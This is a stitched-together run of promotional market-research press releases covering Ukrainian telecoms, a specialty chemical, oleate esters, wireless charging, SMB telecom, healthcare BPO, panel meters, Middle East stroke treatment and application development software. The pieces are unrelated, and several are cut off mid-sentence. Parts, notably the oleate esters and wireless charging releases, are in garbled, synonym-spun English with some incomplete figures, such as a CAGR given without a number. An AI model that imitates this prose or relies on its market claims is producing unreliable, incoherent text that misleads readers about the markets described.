gathered from local market players, which enables executives to quickly get up to speed with the current and emerging trends in Ukraines telecommunications markets.- The broad perspective of the report coupled with comprehensive, actionable detail will help operators, equipment vendors and other telecom industry players succeed in the challenging telecommunications market in Ukraine.Table of Content: Key PointsTable of contents 3Market highlights 4Demographic, macroeconomic and regulatory context 5Demographic and macroeconomic context 6Regulatory context 8Telecom and pay-TV services market outlook 9Total telecom service revenue 10Mobile services market 12Fixed services market 18Pay-TV services market 22Competitive landscape and company snapshots 25Competitive landscape 26Kyivstar 28Vodafone Ukraine (MTS) 29Ukrtelecom 30Lifecell 31Additional resources 32Baseline forecast assumptions 33Data tables 34Glossary 36ContinuedACCESS REPORT @Get in touch:LinkedIn:Twitter:Facebook:Wise Guy Reports understand how essential statistical surveying information is for your organization or association. Therefore, we have associated with the top publishers and research firms all specialized in specific domains, ensuring you will receive the most reliable and up to date research data available. We also provide COTS (Commercial off the Shelf) business sector reports as custom exploration agreeing your particular needs.WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersPune - 411028Maharashtra, India
Global Bis (4 - T - Butylphenyl) Iodonium Tetraphenylborate (CAS 131725 - 16 - 1) Market Analysis & Growth Report 2017

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Qyresearchreports include new market research report "Global Bis (4 - T - Butylphenyl) Iodonium Tetraphenylborate (CAS 131725 - 16 - 1) Market Professional Survey Report 2017" to its huge collection of research reports.The global Bis (4 - T - Butylphenyl) Iodonium Tetraphenylborate (CAS 131725 - 16 - 1) market has been deeply evaluated in this publication with the help of both primary and secondary research and useful inputs provided by industry experts. The analysts who have prepared the publication have been among the best in the lot with sound understanding about almost all vital aspects of the market. The publication has come out as a detailed guideline for industry players to explore hidden prospects and take advantage of the best opportunities in the market. Players could also use the information presented in the publication to plan the best strategies that will help them to secure a strong position in the market.Free Sample of this report is available upon request @By segregating the global Bis(4 - T - Butylphenyl)Iodonium Tetraphenylborate (CAS 131725 - 16 - 1) market into different segments, the analysts have offered crucial information that could help players to gain a competitive edge over their toughest opponents. Each segment studied in the publication has been meticulously evaluated with market figures to go by. This could help readers to tap into unexplored regions or other categories of segments and ensure a continuing success in the market. Besides segmentation, the publication has offered information on factors detaining market growth, backing them up with opportunities to counter the challenges about to show face in the near future.This report focuses on top manufacturers in global market, with production, price, revenue and market share for each manufacturer, coveringAngene International LimitedCharkit Chemical CorporationJinan Haohua Industry Co.,LtdKingston ChemistryLeancare Ltd.Carbosynth LimitedNeostar United Industrial Co., Ltd.The analysts have also shed light on key aspects of the vendor landscape while profiling some of the leading companies operating in the global Bis(4 - T - Butylphenyl)Iodonium Tetraphenylborate (CAS 131725 - 16 - 1) market. Starting from the nature of the current and future competitive scenarios of the market, the publication has foreseen the future plans of leading companies to gain a strong foothold in the industry. This could help readers to stay cautioned about any surprising changes in the vendor landscape of the market beforehand. Furthermore, readers could use the information to build extraordinary strategies to strengthen their product portfolio and give a tough competition in the market.Table of Contents1 Industry Overview of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)1.1 Definition and Specifications of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)1.1.1 Definition of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)1.1.2 Specifications of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)1.2 Classification of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)1.3 Applications of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)1.4 Market Segment by Regions2 Manufacturing Cost Structure Analysis of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)2.1 Raw Material and Suppliers2.2 Manufacturing Cost Structure Analysis of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)2.3 Manufacturing Process Analysis of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)2.4 Industry Chain Structure of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)3 Technical Data and Manufacturing Plants Analysis of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)3.1 Capacity and Commercial Production Date of Global Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Major Manufacturers in 20163.2 Manufacturing Plants Distribution of Global Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Major Manufacturers in 20163.3 R&D Status and Technology Source of Global Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Major Manufacturers in 20163.4 Raw Materials Sources Analysis of Global Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Major Manufacturers in 20164 Global Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Overall Market Overview4.1 2012-2017E Overall Market Analysis4.2 Capacity Analysis4.2.1 2012-2017E Global Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Capacity and Growth Rate Analysis4.2.2 2016 Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Capacity Analysis (Company Segment)4.3 Sales Analysis4.3.1 2012-2017E Global Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Sales and Growth Rate Analysis4.3.2 2016 Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Sales Analysis (Company Segment)4.4 Sales Price Analysis4.4.1 2012-2017E Global Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Sales Price4.4.2 2016 Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Sales Price Analysis (Company Segment)List of Tables and FiguresFigure Picture of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)Table Product Specifications of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)Table Classification of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)Figure Global Production Market Share of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) by Type in 2016Table Applications of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1)Figure Global Consumption Volume Market Share of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) by Application in 2016Figure Market Share of Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) by RegionsFigure North America Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Market Size (Million USD) (2012-2022)Figure China Bis(4-T-Butylphenyl) Iodonium Tetraphenylborate (CAS 131725-16-1) Market Size (Million USD) (2012-2022)About Us:QYResearchReports.com delivers the latest strategic market intelligence to build a successful business footprint in China. Our syndicated and customized research reports provide companies with vital background information of the market and in-depth analysis on the Chinese trade and investment framework, which directly affects their business operations. Reports from QYResearchReports.com feature valuable recommendations on how to navigate in the extremely unpredictable yet highly attractive Chinese market.Contact Us:1820 AvenueM Suite #1047Brooklyn, NY 11230United StatesToll Free: 866-997-4948 (USA-CANADA)Tel: +1-518-621-2074Email: sales@qyresearchreports.com
Latest Research report on Oleate Esters Market predicts favorable growth and forecast till 2025

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Oleate Esters Market: OverviewIn the current circumstances, the utilization of oleate esters increased fundamentally expanded, on account of their far reaching use in plasticizers, agrochemicals, absorbents, makeup, lubricants, and different items over the world. A few of these items have been speculating an enormous ascent in their usage because of the rise of the industrialization, internationally, which thusly, has powered the use of oleate esters amazingly. Over the expected years, the worldwide oleate esters market seems to witness proceeded with development by virtue of the framework based progression, around the world.Oleate Esters Market: Trends and ProspectsMethyl oleate, butyl oleate, tri-methylolpropane trioleate (TMPTO), and ethyl oleate have risen as the principle items accessible in the worldwide oleate esters market. Out of these, the interest for ethyl oleate has been more, attributable to its broad use in the plans of oils. The fragment is anticipated to hold its strength extending at a noticeably strong CAGR of all through the gauge time frame. Then again, the interest for TMPTO and methyl in coming years. Butyl oleate, in any case, is anticipated to keep up a steady ascent in its growth in the years to come.Request Sample Copy of the Report @Oleate Esters Market: Regional OverviewThe Middle East and Africa, Asia, North America, Europe, Latin America are the major local markets for oleate esters. Asia Pacific region has developed as the main supporter of the general market, on account of growth in industrialization. Specialists anticipate that this territorial market will proceed with its driving streak over the estimate time frame. The presence of well-established production units, simple accessibility of crude materials for oleate esters, and the proceeded with increment in innovative work exercises are probably going to help the Asia Pacific oleate esters market in the coming years.Europe and North America are likewise enrolling a critical ascent in their particular markets for oleate esters because of the nearness of a few huge generation offices. The developing number of enterprises is likewise pushing this market in these locales. Throughout the following couple of years, the development in the utilization of individual care items is relied upon to propel the oleate esters market in North America, though, the growing interest for natural esters will bolster the Europe market as well.Ask An Expert @Oleate Esters Market: Vendor LandscapeThe worldwide oleate esters market exhibits a profoundly aggressive scene, on account of the serious competition between driving players, for example, Procter and Gamble, Wilmar International Ltd., and Croda International Plc. These members are ceaselessly trying endeavors to enhance productivity by expanding their creation limits. Going ahead, a move in the concentration of these organizations towards key associations to expand their perceivability can be watched, states the examination report.The investigation reports that the worldwide oleate esters market, which offered an open door is anticipated to grow at a strong CAGR amid the forecast period from 2016 to 2024. As far as volume, the market is evaluated to ascend at a significant CAGR over a certain period of time. Ethyl oleate has risen as the most requested item in this market. On account of the expanding utilization of ethyl oleate in different applications, for example, grease, this portion is also likely to flourish within the forecast period in order to proceed as market.Read Comprehensive Overview of Report@About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050
Global Wireless Power Charging Market Estimates and Forecasts for 2017-2022 by Key Players

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Qyresearchreports include new market research report "2017-2022 Report on Global and United States Wireless Power Charging Market Status and Forecast by Players, Types and Applications" to its huge collection of research reports.The market examine production about offers a select once-finished of the factors that are presumably going to have a persevering or without further ado affect the improvement of the Wireless Power Charging market in the midst of the figure time span. The report perfectly examines parts that are likely going to have a shock or conceded effect on the Wireless Power Charging market in the short or long run. The advancement bearing of the market has also been minutely inspected with unprecedented thought on the drivers, limitations, and prospects show in the Wireless Power Charging market for the players and money related experts to look on to. A couple of perspectives, for instance, influx of rough materials and overflowing of conclusive outcomes, imports and charges, plans and panels of governments, accomplishment of the market in the worldwide and regional level, things circled and vended, and industrialized breaking point of the mechanical unit have also been highlighted upon in the examination.Request for the Free Report Sample:The major players in global and United States Wireless Power Charging market, includingWiTricity CorporationIntegrated Device Technology, Inc.Texas Instruments, Inc.Qualcomm Inc.Energizer Holdings, IncPowerbyProxi Ltd.Powermat TechnologiesChanged regions where the market is set-up have in like manner been centered around and the segments influencing everything aiding or demolishing the improvement of the market in those regions. The report moreover gives a thorough perspective of the top of the line associations working in the Wireless Power Charging market. With the help of this, the peruser can have an unmistakable photograph of the engaged scene of the players and a perception of the things and publicizing techniques of the principle players in the Wireless Power Charging market. The report additionally digs profound into a few organizations and their position and item portfolios in the worldwide market.Table of Contents1 Methodology and Data Source1.1 Methodology/Research Approach1.1.1 Research Programs/Design1.1.2 Market Size Estimation1.1.3 Market Breakdown and Data Triangulation1.2 Data Source1.2.1 Secondary Sources1.2.2 Primary Sources1.3 Disclaimer2 Wireless Power Charging Market Overview2.1 Wireless Power Charging Product Overview2.2 Wireless Power Charging Market Segment by Type2.3 Global Wireless Power Charging Product Segment by Type2.3.1 Global Wireless Power Charging Sales (K Units) and Growth (%) by Type (2012, 2016 and 2022)2.3.2 Global Wireless Power Charging Sales (K Units) and Market Share (%) by Type (2012-2017)2.3.3 Global Wireless Power Charging Revenue (Million USD) and Market Share (%) by Type (2012-2017)2.3.4 Global Wireless Power Charging Price (USD/Unit) by Type (2012-2017)2.4 United States Wireless Power Charging Product Segment by Type3 Wireless Power Charging Application/End Users3.1 Wireless Power Charging Segment by Application/End Users3.2 Global Wireless Power Charging Product Segment by Application3.2.1 Global Wireless Power Charging Sales (K Units) and CGAR (%) by Application (2012, 2016 and 2022)3.2.2 Global Wireless Power Charging Sales (K Units) and Market Share (%) by Application (2012-2017)3.3 United States Wireless Power Charging Product Segment by Application3.3.1 United States Wireless Power Charging Sales (K Units) and CGAR (%) by Application (2012, 2016 and 2022)3.3.2 United States Wireless Power Charging Sales (K Units) and Market Share (%) by Application (2012-2017)4 Wireless Power Charging Market Status and Outlook by Regions4.1 Global Market Status and Outlook by Regions4.1.1 Global Wireless Power Charging Market Size and CAGR by Regions (2012, 2016 and 2022)4.2 Global Wireless Power Charging Sales and Revenue by Regions4.2.1 Global Wireless Power Charging Sales (K Units) and Market Share (%) by Regions (2012-2017)4.2.2 Global Wireless Power Charging Revenue (Million USD) and Market Share (%) by Regions (2012-2017)4.2.3 Global Wireless Power Charging Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%)(2012-2017)4.2.4 North America Wireless Power Charging Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%)(2012-2017)4.2.5 Europe Wireless Power Charging Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%)(2012-2017)List of Tables and FiguresTable Research Programs/Design for This ReportFigure Bottom-up and Top-down Approaches for This ReportFigure Global Wireless Power Charging Revenue (Million USD) Status and Outlook (2012-2022)Figure United States Wireless Power Charging Revenue (Million USD) Status and Outlook (2012-2022)Table Global Wireless Power Charging Sales (K Units) and Growth Rate (%) Comparison by Type (2012, 2016 and 2022)Table United States Wireless Power Charging Sales (K Units) and Growth Rate (%) Comparison by Type (2012, 2016 and 2022)Table Global Wireless Power Charging Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%)(2012-2017)Table North America Wireless Power Charging Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%)(2012-2017)Table Europe Wireless Power Charging Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%)(2012-2017)Table Asia-Pacific Wireless Power Charging Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%)(2012-2017)About Us:QYResearchReports.com delivers the latest strategic market intelligence to build a successful business footprint in China. Our syndicated and customized research reports provide companies with vital background information of the market and in-depth analysis on the Chinese trade and investment framework, which directly affects their business operations. Reports from QYResearchReports.com feature valuable recommendations on how to navigate in the extremely unpredictable yet highly attractive Chinese market.Contact Us:1820 AvenueM Suite #1047Brooklyn, NY 11230United StatesToll Free: 866-997-4948 (USA-CANADA)Tel: +1-518-621-2074Email: sales@qyresearchreports.com
SMB Telecom Voice and Data Services Market in the US 2017-2021

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"The Report SMB Telecom Voice and Data Services Market in the US 2017-2021 provides information on pricing, market analysis, shares, forecast, and company profiles for key industry participants. - MarketResearchReports.biz"About SMB Telecom Voice and Data ServicesThe SMB telecom voice and data services market in the US saw an increased number of subscribers in 2016. This is the only sector that touches technology-related businesses and offers services such as wireless communication, fiber optics, the Internet, and satellites to the US enterprise segment. The SMB segment of the US enterprises relies heavily on such services.Technavios analysts forecast the SMB telecom voice and data services market in the US to grow at a CAGR of 6.36% during the period 2017-2021.View Report @Covered in this reportThe report covers the present scenario and the growth prospects of the SMB telecom voiceand data services market in the US for 2017-2021. The report presents a detailed picture of the market by way of study, synthesis, and summation of data from multiple sources.Technavio's report, SMB Telecom Voice and Data Services Market in the US 2017-2021, has been prepared based on an in-depth market analysis with inputs from industry experts. The report covers the market landscape and its growth prospects over the coming years. The report also includes a discussion of the key vendors operating in this market.Key vendorsAT&TT-MobileVerizonOther prominent vendorsCenturyLinkComcastConvergiaSprintTelePacificUS CellularWindstream CommunicationsGet Sample Copy Of This Report @Market driverDemand of quality over voice services in USFor a full, detailed list, view our reportMarket challengeIntense competition from OTT VoIP servicesFor a full, detailed list, view our reportMarket trendUpcoming 5G networkFor a full, detailed list, view our reportKey questions answered in this reportWhat will the market size be in 2021 and what will the growth rate be?What are the key market trends?What is driving this market?What are the challenges to market growth?Who are the key vendors in this market space?Send An Enquiry Request @Table of ContentsPART 01: Executive summaryPART 02: Scope of the reportPART 03: Research MethodologyPART 04: IntroductionMarket outlinePART 05: Evolution of 3G and 4G network3G (mobile broadband revolution)Comparison of 3G and Enhanced Data for GSM Evolution (EDGE)4G (LTE-Advanced)Proliferation of IoT in industrial landscapePART 06: Market landscapeMarket overviewMarket size and forecastFive forces analysisPART 07: Market segmentation by productBroadband connectionsBundled Internet and telephone servicesPART 08: Decision frameworkPART 09: Drivers and challengesMarket driversMarket challengesPART 10: Market trendsUpcoming 5G networkEmergence of next-generation wireless networksAbout usMarketResearchReports.biz is the most comprehensive collection of market research reports. MarketResearchReports.Biz services are specially designed to save time and money for our clients. We are a one stop solution for all your research needs, our main offerings are syndicated research reports, custom research, subscription access and consulting services. We serve all sizes and types of companies spanning across various industries.State Tower 90 Sate Street, Suite 700 Albany, NY 12207 Tel: +1-518-621-2074 USA: Canada Toll Free: 866-997-4948
Factors Driving the Healthcare BPO Market in Coming Years

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Qyresearchreports include new market research report Europe Healthcare BPO Market Research Report 2017 to its huge collection of research reports.The Europe Healthcare BPO market has been deeply evaluated in this publication with the help of both primary and secondary research and useful inputs provided by industry experts. The analysts who have prepared the publication have been among the best in the lot with sound understanding about almost all vital aspects of the market. The publication has come out as a detailed guideline for industry players to explore hidden prospects and take advantage of the best opportunities in the market. Players could also use the information presented in the publication to plan the best strategies that will help them to secure a strong position in the market.Fill the form to gain deeper insights on this market @By segregating the Europe Healthcare BPO market into different segments, the analysts have offered crucial information that could help players to gain a competitive edge over their toughest opponents. Each segment studied in the publication has been meticulously evaluated with market figures to go by. This could help readers to tap into unexplored regions or other categories of segments and ensure a continuing success in the market. Besides segmentation, the publication has offered information on factors detaining market growth, backing them up with opportunities to counter the challenges about to show face in the near future.The analysts have also shed light on key aspects of the vendor landscape while profiling some of the leading companies operating in the Europe Healthcare BPO market. Starting from the nature of the current and future competitive scenarios of the market, the publication has foreseen the future plans of leading companies to gain a strong foothold in the industry. This could help readers to stay cautioned about any surprising changes in the vendor landscape of the market beforehand. Furthermore, readers could use the information to build extraordinary strategies to strengthen their product portfolio and give a tough competition in the market.Table of ContentsEurope Healthcare BPO Market Research Report 20171 Healthcare BPO Overview1.1 Product Overview and Scope of Healthcare BPO1.2 Classification of Healthcare BPO by Product Category1.2.1 Europe Healthcare BPO Sales (K Units) Comparison by Types (2012-2022)1.2.2 Europe Healthcare BPO Sales (K Units) Market Share (%) by Types (Product Category) in 20161.2.3 Medical Coding Services1.2.4 Medical Billing Service1.3 Europe Healthcare BPO Market by Applications/End Users1.3.1 Europe Healthcare BPO Sales (K Units) and Market Share (%) Comparison by Applications (2012-2022)1.3.2 Hospital1.3.3 Dental Clinics1.4 Europe Healthcare BPO Market by Countries1.4.1 Europe Healthcare BPO Revenue (Million USD) Comparison by Countries (2012-2022)1.4.2 Germany Healthcare BPO Status and Prospect (2012-2022)Access the full Report TOC in Detail @2 Europe Healthcare BPO by Players, Type and Application2.1 Europe Healthcare BPO Market Competition by Players/Suppliers2.1.1 Europe Healthcare BPO Sales (K Units) and Market Share (%) of Key Players (2012-2017)2.1.2 Europe Healthcare BPO Revenue (Million USD) and Share (%) by Players (2012-2017)2.2 Europe Healthcare BPO (Revenue and Sales) by Type2.2.1 Europe Healthcare BPO Sales (K Units) and Market Share (%) by Type (2012-2017)2.2.2 Europe Healthcare BPO Revenue and Market Share (%) by Type (2012-2017)2.3 Europe Healthcare BPO (Revenue and Sales) by Countries3 Germany Healthcare BPO (Revenue, Sales and Price)3.1 Germany Healthcare BPO (Revenue and Sales) (2012-2017)3.1.1 Germany Healthcare BPO Sales (K Units) and Growth Rate (%) (2012-2017)3.1.2 Germany Healthcare BPO Revenue (Million USD) and Growth Rate (%) (2012-2017)3.1.3 Germany Healthcare BPO Sales Price Trend (2012-2017)3.2 Germany Healthcare BPO Sales (K Units) and Market Share (%) by Players/Supplier3.3 Germany Healthcare BPO Sales (K Units) and Market Share (%) by Type3.4 Germany Healthcare BPO Sales (K Units) and Market Share (%) by Applications4 UK Healthcare BPO (Revenue, Sales and Price)4.1 UK Healthcare BPO (Revenue and Sales) (2012-2017)4.1.1 UK Healthcare BPO Sales (K Units) and Growth Rate (%) (2012-2017)4.1.2 UK Healthcare BPO Revenue (Million USD) and Growth Rate (%) (2012-2017)4.1.3 UK Healthcare BPO Sales Price Trend (2012-2017)4.2 UK Healthcare BPO Sales (K Units) and Market Share (%) by Players/Supplier4.3 UK Healthcare BPO Sales (K Units) and Market Share (%) by Type4.4 UK Healthcare BPO Sales (K Units) and Market Share (%) by Applications5 France Healthcare BPO (Revenue, Sales and Price)5.1 France Healthcare BPO (Revenue and Sales) (2012-2017)5.1.1 France Healthcare BPO Sales (K Units) and Growth Rate (%) (2012-2017)5.1.2 France Healthcare BPO Revenue (Million USD) and Growth Rate (%) (2012-2017)5.1.3 France Healthcare BPO Sales Price Trend (2012-2017)5.2 France Healthcare BPO Sales (K Units) and Market Share (%) by Players/Supplier5.3 France Healthcare BPO Sales (K Units) and Market Share (%) by Type5.4 France Healthcare BPO Sales (K Units) and Market Share (%) by ApQYResearchReports.com delivers the latest strategic market intelligence to build a successful business footprint in China. Our syndicated and customized research reports provide companies with vital background information of the market and in-depth analysis on the Chinese trade and investment framework, which directly affects their business operations. Reports from QYResearchReports.com feature valuable recommendations on how to navigate in the extremely unpredictable yet highly attractive Chinese market.1820 AvenueM Suite #1047Brooklyn, NY 11230United StatesToll Free: 866-997-4948 (USA-CANADA)Tel: +1-518-621-2074Web:Email: sales@qyresearchreports.com
Global Digital Panel Meter Market by Region, Product, Application and Forecast To 2022

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Market Study Report Add New Global Digital Panel Meter Market by Manufacturers, Countries, Type and Application, Forecast to 2022 to its research database. The report presents a deep study of the market growth factors and drivers. The report spread across 116 pages with table and figures in it.Digital Panel Meter is an instrument that displays an input signal in digital form.Many digital panel meters also include alarm options as well as the ability to connect and transfer data to a computer. Digital panel meters are usually available with an Ethernet option which allows the digital panel meter reading to be accessed across a local area network (LAN) or even through the internet.Get Sample Copy of this Report:Scope of the Report:This report focuses on the Global Digital Panel Meter Market, especially in North America, Europe and Asia-Pacific, South America, Middle East and Africa. This report categorizes the market based on manufacturers, regions, type and application.Market Segment by Manufacturers, this report covers:Murata Power Solutions, Red Lion Controls, OMRON, InnoVista Sensors, Siemens, Danaher, Zhejiang CHINT, Lascar Electronics, Carlo Gavazzi, Phoenix Contact, PR Electronics, Precision Digital, Taik Electric, Yokogawa Meters & Instruments, Trumeter, Autonics, Jewell Instruments, Laurel Electronics.Market Segment by Regions, regional analysis covers:North America (USA, Canada and Mexico), Europe (Germany, France, UK, Russia and Italy), Asia-Pacific (China, Japan, Korea, India and Southeast Asia), South America (Brazil, Argentina, Columbia etc.), Middle East and Africa (Saudi Arabia, UAE, Egypt, Nigeria and South Africa).Market Segment by Type, coversTemperature and Process Panel Meters, Totalizers, Multi-Input Indicators and Scanners.Market Segment by Applications, can be divided into:Display Current, Display Voltage, Displays Temperature, Others.Get Discount on this Report:There are 15 Chapters to deeply display the global Digital Panel Meter market.Chapter 1, to describe Digital Panel Meter Introduction, product scope, market overview, market opportunities, market risk, market driving force;Chapter 2, to analyze the top manufacturers of Digital Panel Meter, with sales, revenue, and price of Digital Panel Meter, in 2016 and 2017;Chapter 3, to display the competitive situation among the top manufacturers, with sales, revenue and market share in 2016 and 2017;Chapter 4, to show the global market by regions, with sales, revenue and market share of Digital Panel Meter, for each region, from 2012 to 2017;Chapter 5, 6, 7, 8 and 9, to analyze the key regions, with sales, revenue and market share by key countries in these regions;Chapter 10 and 11, to show the market by type and application, with sales market share and growth rate by type, application, from 2012 to 2017;Chapter 12, Digital Panel Meter market forecast, by regions, type and application, with sales and revenue, from 2017 to 2022;Chapter 13, 14 and 15, to describe Digital Panel Meter sales channel, distributors, traders, dealers, Research Findings and Conclusion, appendix and data source.For More Details On this Report:Related Report:EMEA (Europe, Middle East and Africa) Digital Panel Meter Market 2017 Forecast to 2022This report focuses on the Digital Panel Meter in EMEA market, covering Europe, Middle East and Africa. This report categorizes the market based on manufacturers, regions, type and application.About Us:Marketstudyreport.com allows you to manage and control all corporate research purchases to consolidate billing and vendor management. You can eliminate duplicate purchases and customize your content and license management.Contact Us:Market Study ReportThe Green Suite #4594,Dover, DE 19901United StatesPhone: 1-201-355-0868US Toll Free: 1-866-764-2150Email: sales@marketstudyreport.comWebsite:News:
Stroke Diagnosis and Treatment Market Of ME&A Massive Growth with Us$ 289.7 Million By 2022

Stroke Diagnosis and Treatment

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Stroke Diagnosis and Treatment Market of Middle-East and Africa Having inconceivable development. Strokes are brain attacks. They happen when the blood supply to the cerebrum ends up noticeably blocked. A stroke is a medical crisis that requirements prompt medicinal consideration. Middle-East and Africa Stroke Diagnosis and Treatment market is growing moderately at a CAGR of 6.5% and expected to reach to US$ 289.7 Million by 2022. Colossal financing in R&D and different activities by government are driving the development for Stroke Diagnosis and Treatment showcase in Middle East and Africa. A stroke happens because of issue in blood supply to brain is hindered or seriously decreased, denying brain tissue of oxygen and nutrients.Get Sample Report @Early action can minimize brain damage and potential complications. Strokes is among the top five causes of deaths in the UAE. Countries in Middle East and Africa bear a heavy burden from Stroke Diagnosis and Treatment.Competitor Companies for Middle-East and Africa Stroke Diagnosis and Treatment Market: King Faisal Specialist Hospital and Research Centre (Saudi Arabia), Riyadh Military Hospital (Saudi Arabia), Hamad Medical Corporation (Qatar), American Hospital Dubai, Ganzouri Specialized Hospital (Egypt), Abbott (US), Johnson & Johnson Services, Inc. (US), GE Healthcare (UK), Koninklijke Philips N.V. (Netherlands), Hitachi, Ltd. (Japan).Study objectives of Middle-East and Africa Stroke Diagnosis and Treatment Market:To provide country level analysis of the market with respect to the current market size and future prospective. To provide detailed analysis of the market structure along with forecast for the next 5 years of the various segments and sub-segments of the Middle-East and Africa Stroke Diagnosis and Treatment market. To analyze the Middle-East and Africa Stroke Diagnosis and Treatment market based on various factors- price analysis, supply chain analysis, porters five force analysis etc. To provide historical and forecast revenue of the market segments and sub-segments with respect to two main geographies and their countries- Middle East & Africa. To provide country level analysis of the market for segments by type, by diagnosis, by treatment type and its sub-segments.Browse Report @Market Segments:On the basis of diagnosis the market is segmented into Blood tests, Computerized tomography scan, Magnetic resonance imaging, Carotid ultrasound, cerebral angiogram, Echocardiogram, and Others. On the basis of type which comprises Ischemic strokes, Hemorrhagic strokes, and others. On the basis of treatment it is segmented into cerebral thrombosis, surgical clipping, endovascular embolization, Angioplasty and stents, Surgical AVM removal, Intracranial bypass, Stereotactic radiosurgery, and others.Regional Analysis:On the other hand, Egypt market is expected to grow at the steady pace in the Middle-East and Africa Stroke Diagnosis and Treatment during the forecasted period. Rest of the Middle East and Africa region is likely to have a limited but steady growth in the market. Considering the Middle-East and Africa Stroke Diagnosis and Treatment Market scenario, UAE region is believed to be the largest market for Middle-East and Africa Stroke Diagnosis and Treatment. Moreover Saudi Arabia market is also growing and it is a second largest market for Stroke Diagnosis and Treatment.Table of Contents1. Report Prologue2. Introduction3. Research Methodology4. Market Dynamics5. Market Factor Analysis6. Middle-East and Africa Stroke Diagnosis and Treatment Market by Type7. Middle-East and Africa Stroke Diagnosis and Treatment Market by Diagnosis8. Middle-East and Africa Stroke Diagnosis and Treatment Market by Treatment Type9. Middle-East and Africa Stroke Diagnosis and Treatment Market by RegionGet Discount @At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.Akash Anand,Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312Email: sales@marketresearchfuture.com
Application and Development and Deployment Market to be worth US$346,434.0 mn by 2022

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The global application development and deployment software market is anticipated to be worth US$346,434.0 mn by 2022, significantly up from its evaluated worth of US$110,650.7 mn in 2017.Geographically, besides the country-wide market of Japan, the report takes stock of the potential of application development and deployment software market in the regions of North America, Europe, Latin America, Asia Pacific except Japan (APEJ), and the Middle East and Africa (MEA). In 2017, the North America application development and deployment market accounted for US$31,691.3 mn, which was substantially more than any other region. This region is projected to possess a revenue of US$96,213.1 mn by the end of 2022, exhibiting a CAGR of 28.9% during the forecast period of 2017 to 2022. Europe makes for the second most lucrative region for the vendors operating in the application development and deployment software market, promising a worth of US$73,973.4 mn by 2022, expanding at an above-average CAGR of 25.9% during the same forecast period. On the other hand, the region of Asia Pacific except Japan has been predicted to expand the demand at most prominent compound annual growth rate of 29.3%, with the estimated worth projected to reach US$74,959.7 mn by 2022.Get the sample copy of report :Global Application Development and Deployment Software Market: OverviewThe market for application development and deployment software is expanding rapidly and this this report recognizes its changing dynamics. Developed by a group of professional market research analysts, this report has been prepared to serve as a credible business document for targeted audiences such as telecom service providers, government agencies, and cloud service providers. The report includes dedicated chapters on global application development and deployment software market dynamics, supply chain, cost structure, key participants by market presence, regional assessments, and competitive landscape.Transparency Market Research examines the global application development and deployment software market for the forecast period 2017-2022. The primary objective of the report is to identify opportunities in the market and present updates as well as insights pertaining to various segments of the global development and deployment software market. The report begins with an overview of the current scenario of the market for application development and deployment software across the globe, evaluating market performance in terms of revenue, followed by TMRs analysis of key trends, drivers and restraints witnessed in the market. To compute the market size, in-depth secondary research is done.Send an enquiry here :Global Application Development and Deployment Software Market: Key Research AspectsData points such as regional splits and market split by software type, application 